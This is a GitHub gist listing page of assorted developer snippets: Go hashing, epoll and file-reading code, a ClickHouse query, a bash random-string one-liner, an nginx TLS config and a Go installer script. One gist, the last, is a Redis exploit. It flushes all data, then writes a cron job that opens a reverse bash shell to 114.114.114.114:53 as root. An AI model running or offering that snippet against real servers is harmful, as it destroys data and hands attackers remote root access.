Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Jinxu imfht

🎯
Focusing
View GitHub Profile
@sergiotapia
sergiotapia / md5-example.go
Last active Sep 22, 2020
Golang - How to hash a string using MD5.
View md5-example.go
import (
"crypto/md5"
"encoding/hex"
)
func GetMD5Hash(text string) string {
hasher := md5.New()
hasher.Write([]byte(text))
return hex.EncodeToString(hasher.Sum(nil))
}
View clickhouse-get-tables-size.sql
SELECT table,
formatReadableSize(sum(bytes)) as size,
min(min_date) as min_date,
max(max_date) as max_date
FROM system.parts
WHERE active
GROUP BY table
@earthgecko
earthgecko / bash.generate.random.alphanumeric.string.sh
Last active Sep 18, 2020
shell/bash generate random alphanumeric string
View bash.generate.random.alphanumeric.string.sh
#!/bin/bash
# bash generate random alphanumeric string
#
# bash generate random 32 character alphanumeric string (upper and lowercase) and
NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
# bash generate random 32 character alphanumeric string (lowercase only)
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1
@gavinhungry
gavinhungry / nginx-tls.conf
Last active Sep 17, 2020
Nginx SSL/TLS configuration for "A+" Qualys SSL Labs rating
View nginx-tls.conf
#
# Name: nginx-tls.conf
# Auth: Gavin Lloyd <gavinhungry@gmail.com>
# Desc: Nginx SSL/TLS configuration for "A+" Qualys SSL Labs rating
#
# Enables HTTP/2, PFS, HSTS and OCSP stapling. Configuration options not related
# to SSL/TLS are omitted here.
#
# Example: https://www.ssllabs.com/ssltest/analyze.html?d=gavinhungry.io
#
View test.go
package main
import (
"bytes"
"fmt"
"net"
"runtime"
"sync"
"sync/atomic"
"time"
@tevino
tevino / epoll.go
Last active Sep 9, 2020
An example of using epoll in Go
View epoll.go
package main
import (
"fmt"
"net"
"os"
"syscall"
)
const (
@tomcatzh
tomcatzh / readwrite.go
Created Apr 1, 2015
Golang readline and writeline
View readwrite.go
func readLines(path string) ([]string, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
@Zate
Zate / get_go.sh
Last active Aug 31, 2020
Shell script to download and install latest golang
View get_go.sh
#! /bin/bash
# [get_golang.sh](https://gist.github.com/n8henrie/1043443463a4a511acf98aaa4f8f0f69)
# Download latest Golang release for AMD64
# https://dl.google.com/go/go1.10.linux-amd64.tar.gz
set -euf -o pipefail
# Install pre-reqs
sudo apt-get install python3 git -y
o=$(python3 -c $'import os\nprint(os.get_blocking(0))\nos.set_blocking(0, True)')
@jaytaylor
jaytaylor / thrift-configure-mac-osx-20170504.md
Last active Aug 14, 2020
Thrift compilation advice for mac OS-X, particular ./configure QT errors and openssl errors.
View thrift-configure-mac-osx-20170504.md
View gist:df7082a56f1d7bc9681ceb3fea65c0fe
redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
from https://phpinfo.me/2016/07/07/1275.html
You can’t perform that action at this time.